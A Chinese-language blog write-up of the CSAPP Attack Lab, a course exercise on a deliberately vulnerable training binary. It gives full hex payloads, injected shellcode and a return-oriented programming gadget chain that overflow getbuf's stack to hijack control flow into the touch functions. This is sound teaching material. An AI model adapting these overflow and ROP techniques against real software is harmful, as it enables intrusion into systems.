03-attacklab

Attack Lab

前言

在这个lab中,PA1、2、3是代码注入(code injection)攻击,PA4、5是回归导向(return oriented programming)攻击。

  • Code Injection:将恶意代码注入到一个应用程序中的攻击。然后应用程序解释或执行该代码,影响应用程序的性能和功能。
  • Return Oriented Programming:通过栈缓冲器溢出等方式控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列。

PA 1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

void touch1() {
    vlevel = 1;
    printf("Touch!: You called touch1()\n");
    validate(1);
    exit(0);
}

PA 1要求在执行test函数时执行touch1函数。正常情况下调用test会直接返回:

1
2
3
4
Cookie: 0x59b997fa
Type string:12345
No exploit.  Getbuf returned 0x1
Normal return

查看getbuf的反汇编:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

可以看到,理想情况下,getbuf会开辟40个字节的栈空间,输入的字符串填入新开辟的栈空间中,示意图如下(该函数的设置比较简单,既没有帧指针,也没有金丝雀值):

image-20230213155649158

为了验证这点,我们在add $0x28,%rsp之前查看栈空间的使用情况:

image-20230213160749674

可以看到,被调用者所开辟的40 bytes所有的栈空间均被输入的40个字符串(最后一个是结束符’\0’,所以实际上输入了39个字符)所占据;紧随其后的是一串数字0x401976恰好对应汇编语句mov %eax,%edx,也就是调用<getbuf>后返回的下一条语句。

因此,此处需要额外输入字符串,以改写0x5561dca0处的值,使其值为touch1函数开始的地址。注意此处数据的存储格式为小端(little endian),即低位放在较小的地址处。在地址注入时,我们需要先输入低位的字节,首先写出16进制形式:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
c0 17 40

使用以下语句进行转换:

1
$ ./hex2raw < pa1.txt > pa1out.txt

最终结果如下:

image-20230213161847303

PA 2

PA 2在PA 1的基础上新增了传入函数参数的要求。首先查看touch2的汇编:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

对照原始C代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void touch2(unsigned val) {
    vlevel = 2;
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

函数的第一个参数存储在$edi中,而且需要与cookie的值相同,为0x59b997fa。这要求在getbuf函数在返回之前需要执行以下命令:

1
2
3
mov $0x59b997fa, %rdi # 将cookie的值赋给rdi
pushq $0x4017ec # 放入touch2的返回地址
ret

对其进行反汇编:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
nullptr•csapp/labs/attack(master⚡)» gcc -c pa2.s              [16:58:43]
pa2.s: Assembler messages:
pa2.s: Warning: end of file not at end of a line; newline inserted
nullptr•csapp/labs/attack(master⚡)» objdump -d pa2.o          [16:58:52]

pa2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq   

根据上一问的结果,$rsp所在的位置是0x5561dc78,我们需要将上述指令注入到这一位置,更具体的逻辑见下图:

image-20230213231829536

注入指令之后,返回地址变成了之前$rsp所在的位置,随后$pc会跳转到这个位置,执行上述指令,这个时候$rsp也会随之将新的返回地址压栈,执行完毕后顺利跳转到touch2函数。

这里非常绕的一点在于,$rsp$pc两个本来运行在互不干涉空间的指针,由于指令的刻意引导,在同一个空间内运行!理解清楚这一点,这个问题就迎刃而解。

输入语句如下(同样注意指令的大小端放置):

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
78 dc 61 55 00 00 00 00

最终结果:

image-20230214093258511

PA 3

汇编:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	callq  401c8d <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	callq  401d4f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	callq  400e40 <exit@plt>
  
000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx
  401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp
  401854:	41 89 fc             	mov    %edi,%r12d
  401857:	48 89 f5             	mov    %rsi,%rbp
  40185a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  401861:	00 00 
  401863:	48 89 44 24 78       	mov    %rax,0x78(%rsp)
  401868:	31 c0                	xor    %eax,%eax
  40186a:	e8 41 f5 ff ff       	callq  400db0 <random@plt>
  40186f:	48 89 c1             	mov    %rax,%rcx
  401872:	48 ba 0b d7 a3 70 3d 	movabs $0xa3d70a3d70a3d70b,%rdx
  401879:	0a d7 a3 
  40187c:	48 f7 ea             	imul   %rdx
  40187f:	48 01 ca             	add    %rcx,%rdx
  401882:	48 c1 fa 06          	sar    $0x6,%rdx
  401886:	48 89 c8             	mov    %rcx,%rax
  401889:	48 c1 f8 3f          	sar    $0x3f,%rax
  40188d:	48 29 c2             	sub    %rax,%rdx
  401890:	48 8d 04 92          	lea    (%rdx,%rdx,4),%rax
  401894:	48 8d 04 80          	lea    (%rax,%rax,4),%rax
  401898:	48 c1 e0 02          	shl    $0x2,%rax
  40189c:	48 29 c1             	sub    %rax,%rcx
  40189f:	48 8d 1c 0c          	lea    (%rsp,%rcx,1),%rbx
  4018a3:	45 89 e0             	mov    %r12d,%r8d
  4018a6:	b9 e2 30 40 00       	mov    $0x4030e2,%ecx
  4018ab:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx
  4018b2:	be 01 00 00 00       	mov    $0x1,%esi
  4018b7:	48 89 df             	mov    %rbx,%rdi
  4018ba:	b8 00 00 00 00       	mov    $0x0,%eax
  4018bf:	e8 ac f5 ff ff       	callq  400e70 <__sprintf_chk@plt>
  4018c4:	ba 09 00 00 00       	mov    $0x9,%edx
  4018c9:	48 89 de             	mov    %rbx,%rsi
  4018cc:	48 89 ef             	mov    %rbp,%rdi
  4018cf:	e8 cc f3 ff ff       	callq  400ca0 <strncmp@plt>
  4018d4:	85 c0                	test   %eax,%eax
  4018d6:	0f 94 c0             	sete   %al
  4018d9:	0f b6 c0             	movzbl %al,%eax
  4018dc:	48 8b 74 24 78       	mov    0x78(%rsp),%rsi
  4018e1:	64 48 33 34 25 28 00 	xor    %fs:0x28,%rsi
  4018e8:	00 00 
  4018ea:	74 05                	je     4018f1 <hexmatch+0xa5>
  4018ec:	e8 ef f3 ff ff       	callq  400ce0 <__stack_chk_fail@plt>
  4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp
  4018f5:	5b                   	pop    %rbx
  4018f6:	5d                   	pop    %rbp
  4018f7:	41 5c                	pop    %r12
  4018f9:	c3                   	retq 

C代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
void touch3(char *sval) {
    vlevel = 3;
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

和PA 2的不同之处在于,这里传入的参数是字符串。cookie的十六进制字符串是59b997fa,也就是(注意结束符):

1
0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61 0x00

由于touch3中调用了hexmatchstrncmp,有概率修改存放在getbuf栈中的数据,所以考虑将数据存放在test的栈中,再将该地址送入$rdi中。栈空间分配如下:

image-20230214093035601

查看test函数的栈空间:

image-20230214094839739

字符串需要写在地址0x5561dca8处。实际上这一位置也可以简单推算出:考虑到上一题需要写入的位置为0x5561dc78,则test应该写入的栈空间为0x5561dc78+40(getbuf开辟的栈空间)+8(因为调用函数而将返回地址压入栈空间)。最终的汇编如下:

1
2
3
movq    $0x5561dca8, %rdi
pushq   0x4018fa
ret

即:

1
2
3
4
0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq

输入文件(不要忘记字符串末尾的结束符):

1
2
3
4
5
6
7
8
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

最终结果:

image-20230214095412239

PA 4

为了对抗上文中的code injection攻击,现代编译器做出了以下改进:

  1. 栈随机初始化,每次运行时的缓冲区地址不同。

    考虑以下代码:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    
    #include <stdio.h>
    
    void fun()
    {
           long local;
           printf("local in fun: %p\n", &local);
    }
    
    int main()
    {
           long local;
           printf("local in main: %p\n", &local);
           fun();
           return 0;
    }
    

    可以发现每次的运行结果不尽相同:

    image-20230214100001710

  2. $pc指向栈中的代码,触发segmentation fault。

因此,之前phase中的方法失效,我们只能利用已有的程序片断,而不是插入新的代码。我们要在已经给定的代码中找到特定的指令序列,这些序列以ret结尾,我们把这些命令叫做gadget。每一段gadget包含一系列指令字节,而且以ret(0xc3)结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码。

image-20230214105602769

我们可能无法执行我们原生的指令实现预期效果,但我们可以从已有指令的字节码中提取一部分,以构造目标指令。我们将含有gadget指令的farm.c进行反汇编:

1
2
$ gcc -c -Og farm.c
$ objdump -d farm.o > farm.s

PA 4的目标和PA 2的相同,但我们现在需要使用已有的指令拼凑出这些指令,而不是直接注入指令。首先我们要实现将参数传入$rdi的要求,考虑以下两种实现方案popq $rdi; retq(5f [90] c3)和movq <>, $rdi; retq(48 89 xx [90] c3),在汇编代码中进行搜寻:

image-20230214110335498

经过排查可以知道第一种方案不符合要求(因为不在gadget内),第二种方法可行,其对应的指令为movq $rax, $rdi; retq。由于cookie的值是写在栈上的,所以我们需要将栈上的值先传给$rax,再传给$rdi。这样我们就需要寻找popq $rax; retq(58 [90] c3)指令了:

image-20230214111230801

这里需要特别注意的是,两条指令之间可以插入若干条nop(90),不影响执行效果。

这样,在getbuf返回之后,总的调用逻辑如下:

1
2
3
4
5
popq $rax
nop
retq
movq $rax, $rdi
retq

可视化这一过程:

image-20230214113427265

这里关注一下两个gadget的地址情况:

1
2
4019a0:	8d 87 | 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax # movq
4019ca:	b8 29 | 58 90 c3       	mov    $0xc3905829,%eax # popq

所以实际的指令地址应该设计为0x4019a2和0x4019cc。构造字节序列:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00  <- 栈顶%rsp 填入数据0x4019cc
fa 97 b9 59 00 00 00 00  <- popq指令返回给%rax寄存器的数据
a2 19 40 00 00 00 00 00  <- retq返回到的地址(movq指令首地址)
ec 17 40 00 00 00 00 00  <- retq指令返回到touch2函数

结果:

image-20230214114528543

PA 5

作者说PA 5是一个附加问题,因为时间问题就暂时搁置了…

Reference

CSAPP Attack Lab

CSAPP实验之attack lab

《深入理解计算机系统/CSAPP》Attack Lab

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy
visitors: total visits: time(s) reads: time(s)